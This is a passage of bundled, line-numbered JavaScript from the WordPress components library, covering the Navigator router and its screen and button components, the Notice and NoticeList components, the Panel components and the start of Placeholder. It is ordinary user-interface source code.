*/",
44836 toString: _EMOTION_STRINGIFIED_CSS_ERROR__36
44837 };
44838
44839 // packages/components/build-module/navigator/navigator/component.mjs
44840 var import_jsx_runtime241 = __toESM(require_jsx_runtime(), 1);
44841 function addScreen({
44842 screens
44843 }, screen) {
44844 if (screens.some((s3) => s3.path === screen.path)) {
44845 true ? (0, import_warning7.default)(`Navigator: a screen with path ${screen.path} already exists.
44846The screen with id ${screen.id} will not be added.`) : void 0;
44847 return screens;
44848 }
44849 return [...screens, screen];
44850 }
44851 function removeScreen({
44852 screens
44853 }, screen) {
44854 return screens.filter((s3) => s3.id !== screen.id);
44855 }
44856 function goTo(state, path, options2 = {}) {
44857 const {
44858 focusSelectors
44859 } = state;
44860 const currentLocation = {
44861 ...state.currentLocation
44862 };
44863 const {
44864 // Default assignments
44865 isBack = false,
44866 skipFocus = false,
44867 // Extract to avoid forwarding
44868 replace: replace3,
44869 focusTargetSelector,
44870 // Rest
44871 ...restOptions
44872 } = options2;
44873 if (currentLocation.path === path) {
44874 return {
44875 currentLocation,
44876 focusSelectors
44877 };
44878 }
44879 let focusSelectorsCopy;
44880 function getFocusSelectorsCopy() {
44881 focusSelectorsCopy = focusSelectorsCopy ?? new Map(state.focusSelectors);
44882 return focusSelectorsCopy;
44883 }
44884 if (focusTargetSelector && currentLocation.path) {
44885 getFocusSelectorsCopy().set(currentLocation.path, focusTargetSelector);
44886 }
44887 let currentFocusSelector;
44888 if (focusSelectors.get(path)) {
44889 if (isBack) {
44890 currentFocusSelector = focusSelectors.get(path);
44891 }
44892 getFocusSelectorsCopy().delete(path);
44893 }
44894 return {
44895 currentLocation: {
44896 ...restOptions,
44897 isInitial: false,
44898 path,
44899 isBack,
44900 hasRestoredFocus: false,
44901 focusTargetSelector: currentFocusSelector,
44902 skipFocus
44903 },
44904 focusSelectors: focusSelectorsCopy ?? focusSelectors
44905 };
44906 }
44907 function goToParent(state, options2 = {}) {
44908 const {
44909 screens,
44910 focusSelectors
44911 } = state;
44912 const currentLocation = {
44913 ...state.currentLocation
44914 };
44915 const currentPath = currentLocation.path;
44916 if (currentPath === void 0) {
44917 return {
44918 currentLocation,
44919 focusSelectors
44920 };
44921 }
44922 const parentPath = findParent(currentPath, screens);
44923 if (parentPath === void 0) {
44924 return {
44925 currentLocation,
44926 focusSelectors
44927 };
44928 }
44929 return goTo(state, parentPath, {
44930 ...options2,
44931 isBack: true
44932 });
44933 }
44934 function routerReducer(state, action) {
44935 let {
44936 screens,
44937 currentLocation,
44938 matchedPath,
44939 focusSelectors,
44940 ...restState
44941 } = state;
44942 switch (action.type) {
44943 case "add":
44944 screens = addScreen(state, action.screen);
44945 break;
44946 case "remove":
44947 screens = removeScreen(state, action.screen);
44948 break;
44949 case "goto":
44950 ({
44951 currentLocation,
44952 focusSelectors
44953 } = goTo(state, action.path, action.options));
44954 break;
44955 case "gotoparent":
44956 ({
44957 currentLocation,
44958 focusSelectors
44959 } = goToParent(state, action.options));
44960 break;
44961 }
44962 if (screens === state.screens && currentLocation === state.currentLocation) {
44963 return state;
44964 }
44965 const currentPath = currentLocation.path;
44966 matchedPath = currentPath !== void 0 ? patternMatch(currentPath, screens) : void 0;
44967 if (matchedPath && state.matchedPath && matchedPath.id === state.matchedPath.id && (0, import_is_shallow_equal3.isShallowEqual)(matchedPath.params, state.matchedPath.params)) {
44968 matchedPath = state.matchedPath;
44969 }
44970 return {
44971 ...restState,
44972 screens,
44973 currentLocation,
44974 matchedPath,
44975 focusSelectors
44976 };
44977 }
44978 function UnconnectedNavigator(props, forwardedRef) {
44979 const {
44980 initialPath: initialPathProp,
44981 children,
44982 className: className2,
44983 ...otherProps
44984 } = useContextSystem(props, "Navigator");
44985 const [routerState, dispatch] = (0, import_element167.useReducer)(routerReducer, initialPathProp, (path) => ({
44986 screens: [],
44987 currentLocation: {
44988 path,
44989 isInitial: true
44990 },
44991 matchedPath: void 0,
44992 focusSelectors: /* @__PURE__ */ new Map(),
44993 initialPath: initialPathProp
44994 }));
44995 const methods = (0, import_element167.useMemo)(() => ({
44996 // Note: calling goBack calls `goToParent` internally, as it was established
44997 // that `goBack` should behave like `goToParent`, and `goToParent` should
44998 // be marked as deprecated.
44999 goBack: (options2) => dispatch({
45000 type: "gotoparent",
45001 options: options2
45002 }),
45003 goTo: (path, options2) => dispatch({
45004 type: "goto",
45005 path,
45006 options: options2
45007 }),
45008 goToParent: (options2) => {
45009 (0, import_deprecated22.default)(`wp.components.useNavigator().goToParent`, {
45010 since: "6.7",
45011 alternative: "wp.components.useNavigator().goBack"
45012 });
45013 dispatch({
45014 type: "gotoparent",
45015 options: options2
45016 });
45017 },
45018 addScreen: (screen) => dispatch({
45019 type: "add",
45020 screen
45021 }),
45022 removeScreen: (screen) => dispatch({
45023 type: "remove",
45024 screen
45025 })
45026 }), []);
45027 const {
45028 currentLocation,
45029 matchedPath
45030 } = routerState;
45031 const navigatorContextValue = (0, import_element167.useMemo)(() => ({
45032 location: currentLocation,
45033 params: matchedPath?.params ?? {},
45034 match: matchedPath?.id,
45035 ...methods
45036 }), [currentLocation, matchedPath, methods]);
45037 const cx3 = useCx();
45038 const classes = (0, import_element167.useMemo)(() => cx3(navigatorWrapper, className2), [className2, cx3]);
45039 return /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(component_default, {
45040 ref: forwardedRef,
45041 className: classes,
45042 ...otherProps,
45043 children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(NavigatorContext.Provider, {
45044 value: navigatorContextValue,
45045 children
45046 })
45047 });
45048 }
45049 var Navigator2 = contextConnect(UnconnectedNavigator, "Navigator");
45050
45051 // packages/components/build-module/navigator/navigator-screen/component.mjs
45052 var import_dom32 = __toESM(require_dom(), 1);
45053 var import_element169 = __toESM(require_element(), 1);
45054 var import_compose64 = __toESM(require_compose(), 1);
45055 var import_escape_html = __toESM(require_escape_html(), 1);
45056 var import_warning8 = __toESM(require_warning(), 1);
45057
45058 // packages/components/build-module/navigator/navigator-screen/use-screen-animate-presence.mjs
45059 var import_element168 = __toESM(require_element(), 1);
45060 var import_compose63 = __toESM(require_compose(), 1);
45061 var import_i18n68 = __toESM(require_i18n(), 1);
45062 var ANIMATION_TIMEOUT_MARGIN = 1.2;
45063 var isEnterAnimation = (animationDirection, animationStatus, animationName) => animationStatus === "ANIMATING_IN" && animationName === ANIMATION_END_NAMES[animationDirection].in;
45064 var isExitAnimation = (animationDirection, animationStatus, animationName) => animationStatus === "ANIMATING_OUT" && animationName === ANIMATION_END_NAMES[animationDirection].out;
45065 function useScreenAnimatePresence({
45066 isMatch,
45067 skipAnimation,
45068 isBack,
45069 onAnimationEnd
45070 }) {
45071 const isRTL23 = (0, import_i18n68.isRTL)();
45072 const prefersReducedMotion2 = (0, import_compose63.useReducedMotion)();
45073 const [animationStatus, setAnimationStatus] = (0, import_element168.useState)("INITIAL");
45074 const becameSelected = animationStatus !== "ANIMATING_IN" && animationStatus !== "IN" && isMatch;
45075 const becameUnselected = animationStatus !== "ANIMATING_OUT" && animationStatus !== "OUT" && !isMatch;
45076 (0, import_element168.useLayoutEffect)(() => {
45077 if (becameSelected) {
45078 setAnimationStatus(skipAnimation || prefersReducedMotion2 ? "IN" : "ANIMATING_IN");
45079 } else if (becameUnselected) {
45080 setAnimationStatus(skipAnimation || prefersReducedMotion2 ? "OUT" : "ANIMATING_OUT");
45081 }
45082 }, [becameSelected, becameUnselected, skipAnimation, prefersReducedMotion2]);
45083 const animationDirection = isRTL23 && isBack || !isRTL23 && !isBack ? "end" : "start";
45084 const isAnimatingIn = animationStatus === "ANIMATING_IN";
45085 const isAnimatingOut = animationStatus === "ANIMATING_OUT";
45086 let animationType;
45087 if (isAnimatingIn) {
45088 animationType = "in";
45089 } else if (isAnimatingOut) {
45090 animationType = "out";
45091 }
45092 const onScreenAnimationEnd = (0, import_element168.useCallback)((e3) => {
45093 onAnimationEnd?.(e3);
45094 if (isExitAnimation(animationDirection, animationStatus, e3.animationName)) {
45095 setAnimationStatus("OUT");
45096 } else if (isEnterAnimation(animationDirection, animationStatus, e3.animationName)) {
45097 setAnimationStatus("IN");
45098 }
45099 }, [onAnimationEnd, animationStatus, animationDirection]);
45100 (0, import_element168.useEffect)(() => {
45101 let animationTimeout;
45102 if (isAnimatingOut) {
45103 animationTimeout = window.setTimeout(() => {
45104 setAnimationStatus("OUT");
45105 animationTimeout = void 0;
45106 }, TOTAL_ANIMATION_DURATION.OUT * ANIMATION_TIMEOUT_MARGIN);
45107 } else if (isAnimatingIn) {
45108 animationTimeout = window.setTimeout(() => {
45109 setAnimationStatus("IN");
45110 animationTimeout = void 0;
45111 }, TOTAL_ANIMATION_DURATION.IN * ANIMATION_TIMEOUT_MARGIN);
45112 }
45113 return () => {
45114 if (animationTimeout) {
45115 window.clearTimeout(animationTimeout);
45116 animationTimeout = void 0;
45117 }
45118 };
45119 }, [isAnimatingOut, isAnimatingIn]);
45120 return {
45121 animationStyles: navigatorScreenAnimation,
45122 // Render the screen's contents in the DOM not only when the screen is
45123 // selected, but also while it is animating out.
45124 shouldRenderScreen: isMatch || animationStatus === "IN" || animationStatus === "ANIMATING_OUT",
45125 screenProps: {
45126 onAnimationEnd: onScreenAnimationEnd,
45127 "data-animation-direction": animationDirection,
45128 "data-animation-type": animationType,
45129 "data-skip-animation": skipAnimation || void 0
45130 }
45131 };
45132 }
45133
45134 // packages/components/build-module/navigator/navigator-screen/component.mjs
45135 var import_jsx_runtime242 = __toESM(require_jsx_runtime(), 1);
45136 function UnconnectedNavigatorScreen(props, forwardedRef) {
45137 if (!/^\//.test(props.path)) {
45138 true ? (0, import_warning8.default)("wp.components.Navigator.Screen: the `path` should follow a URL-like scheme; it should start with and be separated by the `/` character.") : void 0;
45139 }
45140 const screenId = (0, import_element169.useId)();
45141 const {
45142 children,
45143 className: className2,
45144 path,
45145 onAnimationEnd: onAnimationEndProp,
45146 ...otherProps
45147 } = useContextSystem(props, "Navigator.Screen");
45148 const {
45149 location,
45150 match: match4,
45151 addScreen: addScreen2,
45152 removeScreen: removeScreen2
45153 } = (0, import_element169.useContext)(NavigatorContext);
45154 const {
45155 isInitial,
45156 isBack,
45157 focusTargetSelector,
45158 skipFocus
45159 } = location;
45160 const isMatch = match4 === screenId;
45161 const wrapperRef = (0, import_element169.useRef)(null);
45162 const skipAnimationAndFocusRestoration = !!isInitial && !isBack;
45163 (0, import_element169.useEffect)(() => {
45164 const screen = {
45165 id: screenId,
45166 path: (0, import_escape_html.escapeAttribute)(path)
45167 };
45168 addScreen2(screen);
45169 return () => removeScreen2(screen);
45170 }, [screenId, path, addScreen2, removeScreen2]);
45171 const {
45172 animationStyles,
45173 shouldRenderScreen,
45174 screenProps
45175 } = useScreenAnimatePresence({
45176 isMatch,
45177 isBack,
45178 onAnimationEnd: onAnimationEndProp,
45179 skipAnimation: skipAnimationAndFocusRestoration
45180 });
45181 const cx3 = useCx();
45182 const classes = (0, import_element169.useMemo)(() => cx3(navigatorScreen, animationStyles, className2), [className2, cx3, animationStyles]);
45183 const locationRef = (0, import_element169.useRef)(location);
45184 (0, import_element169.useEffect)(() => {
45185 locationRef.current = location;
45186 }, [location]);
45187 (0, import_element169.useEffect)(() => {
45188 const wrapperEl = wrapperRef.current;
45189 if (skipAnimationAndFocusRestoration || !isMatch || !wrapperEl || locationRef.current.hasRestoredFocus || skipFocus) {
45190 return;
45191 }
45192 const activeElement = wrapperEl.ownerDocument.activeElement;
45193 if (wrapperEl.contains(activeElement)) {
45194 return;
45195 }
45196 let elementToFocus = null;
45197 if (isBack && focusTargetSelector) {
45198 elementToFocus = wrapperEl.querySelector(focusTargetSelector);
45199 }
45200 if (!elementToFocus) {
45201 const [firstTabbable] = import_dom32.focus.tabbable.find(wrapperEl);
45202 elementToFocus = firstTabbable ?? wrapperEl;
45203 }
45204 locationRef.current.hasRestoredFocus = true;
45205 elementToFocus.focus();
45206 }, [skipAnimationAndFocusRestoration, isMatch, isBack, focusTargetSelector, skipFocus]);
45207 const mergedWrapperRef = (0, import_compose64.useMergeRefs)([forwardedRef, wrapperRef]);
45208 return shouldRenderScreen ? /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(component_default, {
45209 ref: mergedWrapperRef,
45210 className: classes,
45211 ...screenProps,
45212 ...otherProps,
45213 children
45214 }) : null;
45215 }
45216 var NavigatorScreen = contextConnect(UnconnectedNavigatorScreen, "Navigator.Screen");
45217
45218 // packages/components/build-module/navigator/navigator-button/hook.mjs
45219 var import_element171 = __toESM(require_element(), 1);
45220 var import_escape_html2 = __toESM(require_escape_html(), 1);
45221
45222 // packages/components/build-module/navigator/use-navigator.mjs
45223 var import_element170 = __toESM(require_element(), 1);
45224 function useNavigator() {
45225 const {
45226 location,
45227 params,
45228 goTo: goTo2,
45229 goBack,
45230 goToParent: goToParent2
45231 } = (0, import_element170.useContext)(NavigatorContext);
45232 return {
45233 location,
45234 goTo: goTo2,
45235 goBack,
45236 goToParent: goToParent2,
45237 params
45238 };
45239 }
45240
45241 // packages/components/build-module/navigator/navigator-button/hook.mjs
45242 var cssSelectorForAttribute = (attrName, attrValue) => `[${attrName}="${attrValue}"]`;
45243 function useNavigatorButton(props) {
45244 const {
45245 path,
45246 onClick,
45247 as = button_default,
45248 attributeName = "id",
45249 ...otherProps
45250 } = useContextSystem(props, "Navigator.Button");
45251 const escapedPath = (0, import_escape_html2.escapeAttribute)(path);
45252 const {
45253 goTo: goTo2
45254 } = useNavigator();
45255 const handleClick = (0, import_element171.useCallback)((e3) => {
45256 e3.preventDefault();
45257 goTo2(escapedPath, {
45258 focusTargetSelector: cssSelectorForAttribute(attributeName, escapedPath)
45259 });
45260 onClick?.(e3);
45261 }, [goTo2, onClick, attributeName, escapedPath]);
45262 return {
45263 as,
45264 onClick: handleClick,
45265 ...otherProps,
45266 [attributeName]: escapedPath
45267 };
45268 }
45269
45270 // packages/components/build-module/navigator/navigator-button/component.mjs
45271 var import_jsx_runtime243 = __toESM(require_jsx_runtime(), 1);
45272 function UnconnectedNavigatorButton(props, forwardedRef) {
45273 const navigatorButtonProps = useNavigatorButton(props);
45274 return /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(component_default, {
45275 ref: forwardedRef,
45276 ...navigatorButtonProps
45277 });
45278 }
45279 var NavigatorButton = contextConnect(UnconnectedNavigatorButton, "Navigator.Button");
45280
45281 // packages/components/build-module/navigator/navigator-back-button/hook.mjs
45282 var import_element172 = __toESM(require_element(), 1);
45283 function useNavigatorBackButton(props) {
45284 const {
45285 onClick,
45286 as = button_default,
45287 ...otherProps
45288 } = useContextSystem(props, "Navigator.BackButton");
45289 const {
45290 goBack
45291 } = useNavigator();
45292 const handleClick = (0, import_element172.useCallback)((e3) => {
45293 e3.preventDefault();
45294 goBack();
45295 onClick?.(e3);
45296 }, [goBack, onClick]);
45297 return {
45298 as,
45299 onClick: handleClick,
45300 ...otherProps
45301 };
45302 }
45303
45304 // packages/components/build-module/navigator/navigator-back-button/component.mjs
45305 var import_jsx_runtime244 = __toESM(require_jsx_runtime(), 1);
45306 function UnconnectedNavigatorBackButton(props, forwardedRef) {
45307 const navigatorBackButtonProps = useNavigatorBackButton(props);
45308 return /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(component_default, {
45309 ref: forwardedRef,
45310 ...navigatorBackButtonProps
45311 });
45312 }
45313 var NavigatorBackButton = contextConnect(UnconnectedNavigatorBackButton, "Navigator.BackButton");
45314
45315 // packages/components/build-module/navigator/navigator-to-parent-button/component.mjs
45316 var import_deprecated23 = __toESM(require_deprecated(), 1);
45317 var import_jsx_runtime245 = __toESM(require_jsx_runtime(), 1);
45318 function UnconnectedNavigatorToParentButton(props, forwardedRef) {
45319 (0, import_deprecated23.default)("wp.components.NavigatorToParentButton", {
45320 since: "6.7",
45321 alternative: "wp.components.Navigator.BackButton"
45322 });
45323 return /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(NavigatorBackButton, {
45324 ref: forwardedRef,
45325 ...props
45326 });
45327 }
45328 var NavigatorToParentButton = contextConnect(UnconnectedNavigatorToParentButton, "Navigator.ToParentButton");
45329
45330 // packages/components/build-module/navigator/legacy.mjs
45331 var NavigatorProvider = Object.assign(Navigator2, {
45332 displayName: "NavigatorProvider"
45333 });
45334 var NavigatorScreen2 = Object.assign(NavigatorScreen, {
45335 displayName: "NavigatorScreen"
45336 });
45337 var NavigatorButton2 = Object.assign(NavigatorButton, {
45338 displayName: "NavigatorButton"
45339 });
45340 var NavigatorBackButton2 = Object.assign(NavigatorBackButton, {
45341 displayName: "NavigatorBackButton"
45342 });
45343 var NavigatorToParentButton2 = Object.assign(NavigatorToParentButton, {
45344 displayName: "NavigatorToParentButton"
45345 });
45346
45347 // packages/components/build-module/navigator/index.mjs
45348 var Navigator3 = Object.assign(Navigator2, {
45349 /**
45350 * The `Navigator.Screen` component represents a single view/screen/panel and
45351 * should be used in combination with the `Navigator`, the `Navigator.Button`
45352 * and the `Navigator.BackButton` components.
45353 *
45354 * @example
45355 * ```jsx
45356 * import { Navigator } from '@wordpress/components';
45357 *
45358 * const MyNavigation = () => (
45359 * <Navigator initialPath="/">
45360 * <Navigator.Screen path="/">
45361 * <p>This is the home screen.</p>
45362 * <Navigator.Button path="/child">
45363 * Navigate to child screen.
45364 * </Navigator.Button>
45365 * </Navigator.Screen>
45366 *
45367 * <Navigator.Screen path="/child">
45368 * <p>This is the child screen.</p>
45369 * <Navigator.BackButton>
45370 * Go back
45371 * </Navigator.BackButton>
45372 * </Navigator.Screen>
45373 * </Navigator>
45374 * );
45375 * ```
45376 */
45377 Screen: Object.assign(NavigatorScreen, {
45378 displayName: "Navigator.Screen"
45379 }),
45380 /**
45381 * The `Navigator.Button` component can be used to navigate to a screen and
45382 * should be used in combination with the `Navigator`, the `Navigator.Screen`
45383 * and the `Navigator.BackButton` components.
45384 *
45385 * @example
45386 * ```jsx
45387 * import { Navigator } from '@wordpress/components';
45388 *
45389 * const MyNavigation = () => (
45390 * <Navigator initialPath="/">
45391 * <Navigator.Screen path="/">
45392 * <p>This is the home screen.</p>
45393 * <Navigator.Button path="/child">
45394 * Navigate to child screen.
45395 * </Navigator.Button>
45396 * </Navigator.Screen>
45397 *
45398 * <Navigator.Screen path="/child">
45399 * <p>This is the child screen.</p>
45400 * <Navigator.BackButton>
45401 * Go back
45402 * </Navigator.BackButton>
45403 * </Navigator.Screen>
45404 * </Navigator>
45405 * );
45406 * ```
45407 */
45408 Button: Object.assign(NavigatorButton, {
45409 displayName: "Navigator.Button"
45410 }),
45411 /**
45412 * The `Navigator.BackButton` component can be used to navigate to a screen and
45413 * should be used in combination with the `Navigator`, the `Navigator.Screen`
45414 * and the `Navigator.Button` components.
45415 *
45416 * @example
45417 * ```jsx
45418 * import { Navigator } from '@wordpress/components';
45419 *
45420 * const MyNavigation = () => (
45421 * <Navigator initialPath="/">
45422 * <Navigator.Screen path="/">
45423 * <p>This is the home screen.</p>
45424 * <Navigator.Button path="/child">
45425 * Navigate to child screen.
45426 * </Navigator.Button>
45427 * </Navigator.Screen>
45428 *
45429 * <Navigator.Screen path="/child">
45430 * <p>This is the child screen.</p>
45431 * <Navigator.BackButton>
45432 * Go back
45433 * </Navigator.BackButton>
45434 * </Navigator.Screen>
45435 * </Navigator>
45436 * );
45437 * ```
45438 */
45439 BackButton: Object.assign(NavigatorBackButton, {
45440 displayName: "Navigator.BackButton"
45441 })
45442 });
45443
45444 // packages/components/build-module/notice/index.mjs
45445 var import_i18n69 = __toESM(require_i18n(), 1);
45446 var import_element173 = __toESM(require_element(), 1);
45447 var import_a11y8 = __toESM(require_a11y(), 1);
45448 var import_jsx_runtime246 = __toESM(require_jsx_runtime(), 1);
45449 var noop20 = () => {
45450 };
45451 function useSpokenMessage(message2, politeness) {
45452 const spokenMessage = typeof message2 === "string" ? message2 : (0, import_element173.renderToString)(message2);
45453 (0, import_element173.useEffect)(() => {
45454 if (spokenMessage) {
45455 (0, import_a11y8.speak)(spokenMessage, politeness);
45456 }
45457 }, [spokenMessage, politeness]);
45458 }
45459 function getDefaultPoliteness(status) {
45460 switch (status) {
45461 case "success":
45462 case "warning":
45463 case "info":
45464 return "polite";
45465 // The default will also catch the 'error' status.
45466 default:
45467 return "assertive";
45468 }
45469 }
45470 function getStatusLabel(status) {
45471 switch (status) {
45472 case "warning":
45473 return (0, import_i18n69.__)("Warning notice");
45474 case "info":
45475 return (0, import_i18n69.__)("Information notice");
45476 case "error":
45477 return (0, import_i18n69.__)("Error notice");
45478 // The default will also catch the 'success' status.
45479 default:
45480 return (0, import_i18n69.__)("Notice");
45481 }
45482 }
45483 function Notice({
45484 className: className2,
45485 status = "info",
45486 children,
45487 spokenMessage = children,
45488 onRemove = noop20,
45489 isDismissible = true,
45490 actions = [],
45491 politeness = getDefaultPoliteness(status),
45492 __unstableHTML,
45493 // onDismiss is a callback executed when the notice is dismissed.
45494 // It is distinct from onRemove, which _looks_ like a callback but is
45495 // actually the function to call to remove the notice from the UI.
45496 onDismiss = noop20
45497 }) {
45498 useSpokenMessage(spokenMessage, politeness);
45499 const classes = clsx_default(className2, "components-notice", "is-" + status, {
45500 "is-dismissible": isDismissible
45501 });
45502 if (__unstableHTML && typeof children === "string") {
45503 children = /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_element173.RawHTML, {
45504 children
45505 });
45506 }
45507 const onDismissNotice = () => {
45508 onDismiss();
45509 onRemove();
45510 };
45511 return /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)("div", {
45512 className: classes,
45513 children: [/* @__PURE__ */ (0, import_jsx_runtime246.jsx)(component_default2, {
45514 children: getStatusLabel(status)
45515 }), /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)("div", {
45516 className: "components-notice__content",
45517 children: [children, actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("div", {
45518 className: "components-notice__actions",
45519 children: actions.map(({
45520 className: buttonCustomClasses,
45521 label,
45522 isPrimary,
45523 variant,
45524 noDefaultClasses = false,
45525 onClick,
45526 url,
45527 disabled
45528 }, index2) => {
45529 let computedVariant = variant;
45530 if (variant !== "primary" && !noDefaultClasses) {
45531 computedVariant = !url ? "secondary" : "link";
45532 }
45533 if (typeof computedVariant === "undefined" && isPrimary) {
45534 computedVariant = "primary";
45535 }
45536 return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(button_default, {
45537 __next40pxDefaultSize: true,
45538 href: url,
45539 variant: computedVariant,
45540 onClick,
45541 disabled,
45542 accessibleWhenDisabled: true,
45543 className: clsx_default("components-notice__action", buttonCustomClasses),
45544 children: label
45545 }, index2);
45546 })
45547 })]
45548 }), isDismissible && /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(button_default, {
45549 size: "small",
45550 className: "components-notice__dismiss",
45551 icon: close_default,
45552 label: (0, import_i18n69.__)("Close"),
45553 onClick: onDismissNotice
45554 })]
45555 });
45556 }
45557 var notice_default = Notice;
45558
45559 // packages/components/build-module/notice/list.mjs
45560 var import_react124 = __toESM(require_react(), 1);
45561 var import_jsx_runtime247 = __toESM(require_jsx_runtime(), 1);
45562 var noop21 = () => {
45563 };
45564 function NoticeList({
45565 notices,
45566 onRemove = noop21,
45567 className: className2,
45568 children
45569 }) {
45570 const removeNotice = (id3) => () => onRemove(id3);
45571 className2 = clsx_default("components-notice-list", className2);
45572 return /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)("div", {
45573 className: className2,
45574 children: [children, [...notices].reverse().map((notice) => {
45575 const {
45576 content,
45577 ...restNotice
45578 } = notice;
45579 return /* @__PURE__ */ (0, import_react124.createElement)(notice_default, {
45580 ...restNotice,
45581 key: notice.id,
45582 onRemove: removeNotice(notice.id)
45583 }, notice.content);
45584 })]
45585 });
45586 }
45587 var list_default = NoticeList;
45588
45589 // packages/components/build-module/panel/index.mjs
45590 var import_element174 = __toESM(require_element(), 1);
45591
45592 // packages/components/build-module/panel/header.mjs
45593 var import_jsx_runtime248 = __toESM(require_jsx_runtime(), 1);
45594 function PanelHeader({
45595 label,
45596 children
45597 }) {
45598 return /* @__PURE__ */ (0, import_jsx_runtime248.jsxs)("div", {
45599 className: "components-panel__header",
45600 children: [label && /* @__PURE__ */ (0, import_jsx_runtime248.jsx)("h2", {
45601 children: label
45602 }), children]
45603 });
45604 }
45605 var header_default = PanelHeader;
45606
45607 // packages/components/build-module/panel/index.mjs
45608 var import_jsx_runtime249 = __toESM(require_jsx_runtime(), 1);
45609 function UnforwardedPanel({
45610 header,
45611 className: className2,
45612 children
45613 }, ref) {
45614 const classNames = clsx_default(className2, "components-panel");
45615 return /* @__PURE__ */ (0, import_jsx_runtime249.jsxs)("div", {
45616 className: classNames,
45617 ref,
45618 children: [header && /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(header_default, {
45619 label: header
45620 }), children]
45621 });
45622 }
45623 var Panel = (0, import_element174.forwardRef)(UnforwardedPanel);
45624 Panel.displayName = "Panel";
45625 var panel_default = Panel;
45626
45627 // packages/components/build-module/panel/body.mjs
45628 var import_compose65 = __toESM(require_compose(), 1);
45629 var import_element175 = __toESM(require_element(), 1);
45630 var import_jsx_runtime250 = __toESM(require_jsx_runtime(), 1);
45631 var noop22 = () => {
45632 };
45633 function UnforwardedPanelBody(props, ref) {
45634 const {
45635 buttonProps = {},
45636 children,
45637 className: className2,
45638 icon,
45639 initialOpen,
45640 onToggle = noop22,
45641 opened,
45642 title,
45643 scrollAfterOpen = true
45644 } = props;
45645 const [isOpened, setIsOpened] = use_controlled_state_default(opened, {
45646 initial: initialOpen === void 0 ? true : initialOpen,
45647 fallback: false
45648 });
45649 const nodeRef = (0, import_element175.useRef)(null);
45650 const scrollBehavior = (0, import_compose65.useReducedMotion)() ? "auto" : "smooth";
45651 const handleOnToggle = (event) => {
45652 event.preventDefault();
45653 const next2 = !isOpened;
45654 setIsOpened(next2);
45655 onToggle(next2);
45656 };
45657 const scrollAfterOpenRef = (0, import_element175.useRef)(void 0);
45658 scrollAfterOpenRef.current = scrollAfterOpen;
45659 use_update_effect_default(() => {
45660 if (isOpened && scrollAfterOpenRef.current && nodeRef.current?.scrollIntoView) {
45661 nodeRef.current.scrollIntoView({
45662 inline: "nearest",
45663 block: "nearest",
45664 behavior: scrollBehavior
45665 });
45666 }
45667 }, [isOpened, scrollBehavior]);
45668 const classes = clsx_default("components-panel__body", className2, {
45669 "is-opened": isOpened
45670 });
45671 return /* @__PURE__ */ (0, import_jsx_runtime250.jsxs)("div", {
45672 className: classes,
45673 ref: (0, import_compose65.useMergeRefs)([nodeRef, ref]),
45674 children: [/* @__PURE__ */ (0, import_jsx_runtime250.jsx)(PanelBodyTitle, {
45675 icon,
45676 isOpened: Boolean(isOpened),
45677 onClick: handleOnToggle,
45678 title,
45679 ...buttonProps
45680 }), typeof children === "function" ? children({
45681 opened: Boolean(isOpened)
45682 }) : isOpened && children]
45683 });
45684 }
45685 var PanelBodyTitle = (0, import_element175.forwardRef)(({
45686 isOpened,
45687 icon,
45688 title,
45689 ...props
45690 }, ref) => {
45691 if (!title) {
45692 return null;
45693 }
45694 return /* @__PURE__ */ (0, import_jsx_runtime250.jsx)("h2", {
45695 className: "components-panel__body-title",
45696 children: /* @__PURE__ */ (0, import_jsx_runtime250.jsxs)(button_default, {
45697 __next40pxDefaultSize: true,
45698 className: "components-panel__body-toggle",
45699 "aria-expanded": isOpened,
45700 ref,
45701 ...props,
45702 children: [/* @__PURE__ */ (0, import_jsx_runtime250.jsx)("span", {
45703 "aria-hidden": "true",
45704 children: /* @__PURE__ */ (0, import_jsx_runtime250.jsx)(icon_default3, {
45705 className: "components-panel__arrow",
45706 icon: isOpened ? chevron_up_default : chevron_down_default
45707 })
45708 }), title, icon && /* @__PURE__ */ (0, import_jsx_runtime250.jsx)(icon_default3, {
45709 icon,
45710 className: "components-panel__icon",
45711 size: 20
45712 })]
45713 })
45714 });
45715 });
45716 var PanelBody = (0, import_element175.forwardRef)(UnforwardedPanelBody);
45717 PanelBody.displayName = "PanelBody";
45718 var body_default = PanelBody;
45719
45720 // packages/components/build-module/panel/row.mjs
45721 var import_element176 = __toESM(require_element(), 1);
45722 var import_jsx_runtime251 = __toESM(require_jsx_runtime(), 1);
45723 function UnforwardedPanelRow({
45724 className: className2,
45725 children
45726 }, ref) {
45727 return /* @__PURE__ */ (0, import_jsx_runtime251.jsx)("div", {
45728 className: clsx_default("components-panel__row", className2),
45729 ref,
45730 children
45731 });
45732 }
45733 var PanelRow = (0, import_element176.forwardRef)(UnforwardedPanelRow);
45734 PanelRow.displayName = "PanelRow";
45735 var row_default = PanelRow;
45736
45737 // packages/components/build-module/placeholder/index.mjs
45738 var import_compose66 = __toESM(require_compose(), 1);
45739 var import_primitives34 = __toESM(require_primitives(), 1);
45740 var import_element177 = __toESM(require_element(), 1);
45741 var import_a11y9 = __toESM(require_a11y(), 1);
45742 var import_jsx_runtime252 = __toESM(require_jsx_runtime(), 1);
45743 var PlaceholderIllustration = /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(import_primitives34.SVG, {
45744 className: "components-placeholder__illustration",
45745 fill: "none",
45746 xmlns: "http://www.w3.org/2000/svg",
45747 viewBox: "0 0 60 60",
45748 preserveAspectRatio: "none",
45749 children: /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(import_primitives34.Path, {
45750 vectorEffect: "non-scaling-stroke",
45751 d: "M60 60 0 0"
45752 })
45753 });
45754 function Placeholder(props) {
45755 const {
45756 icon,
45757 children,
45758 label,
45759 instructions,
45760 className: className2,
45761 notices,
45762 preview,
45763 isColumnLayout,
45764 withIllustration,
45765 ...additionalProps
45766 } = props;
45767 const [resizeListener, {
45768 width
